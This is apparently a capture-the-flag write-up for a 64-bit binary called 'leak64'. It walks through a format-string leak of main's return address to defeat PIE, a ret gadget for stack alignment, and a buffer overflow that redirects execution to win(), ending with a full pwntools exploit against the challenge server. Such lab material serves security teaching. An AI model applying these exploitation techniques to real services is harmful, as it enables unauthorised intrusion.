leak64

This binary is remarkably similar to the last one, with two major differences:

1. We can't forget about the `movaps` fault, meaning we need a way to mitigate this.
2. Addresses are 64-bit, but are formatted very similar.

Since this is the same binary as the last one, just compiled in 64-bit, we are going to skip most of the static analysis.

The Attack Vector

First we need to find a leakable address on the stack. We'll use `gdb` to do this, because in 64-bit it's often a high-valued offset.

```
gef➤  x/10gx $rsp
0x7fffffffe3c0: 0x7025207025207025  0x2520702520702520
0x7fffffffe3d0: 0x2070252070252070  0x0000007025207025
0x7fffffffe3e0: 0x0000000000000000  0x0000000000000000
0x7fffffffe3f0: 0x00007fffffffe400  0x00005555555552ba
0x7fffffffe400: 0x0000000000000001  0x00007ffff7c29d90
```

We like the 8th value on the stack because it matches the format of the instructions nearby. If we check where it is:

```
gef➤  x/wx 0x00005555555552ba
0x5555555552ba <main+18>:   0x000000b8
```

This is our return pointer to `main()`! We can actually choose to leak this value, and then overwrite it later. Our offset for the format string is going to be `13`.

> *Uh, why?* In 64-bit, there are 6 registers. The first is reserved for the format string so we don't count that one. This makes our offset `8+6-1=13`.

Now we have what we need. We can leak the address of `main() + 18` and then overwrite the return pointer with the address of `win()`.

```
p.sendline(b'%13$p')
p.recvuntil(b'Nice to meet you ')
leak = int(p.recvline().strip(), 16)
elf.address = leak - (elf.sym.main + 18)
```

We also need a way to beat the `movaps` instruction. Because PIE is enabled, we can't hardcode gadgets. This means we have to find what function they're in, their offset, then use that for our gadget. In this case,

we can pull any `ret`, I tend to use `deregister_tm_clones()` because I know it's not problematic. We find our `ret` instruction:

```
   0x0000555555555158 <+40>:    ret
```

We can use this to build our payload:

```
payload = b'A' * 0x38
payload += p64(elf.sym.deregister_tm_clones + 40)
payload += p64(elf.sym.win)
```

Then, we just send the payload off and get the flag! Here is the full exploit:

```
from pwn import *

elf = context.binary = ELF('./leak64')
p = remote('vunrotc.cole-ellis.com', 7300)

p.recvline()

p.sendline(b'%13$p')
p.recvuntil(b'Nice to meet you ')
leak = int(p.recvline().strip(), 16)
elf.address = leak - (elf.sym.main + 18)

payload = b'A' * 0x38
payload += p64(elf.sym.deregister_tm_clones + 40)
payload += p64(elf.sym.win)

p.recvuntil(b'message?')
p.sendline(payload)
p.interactive()
```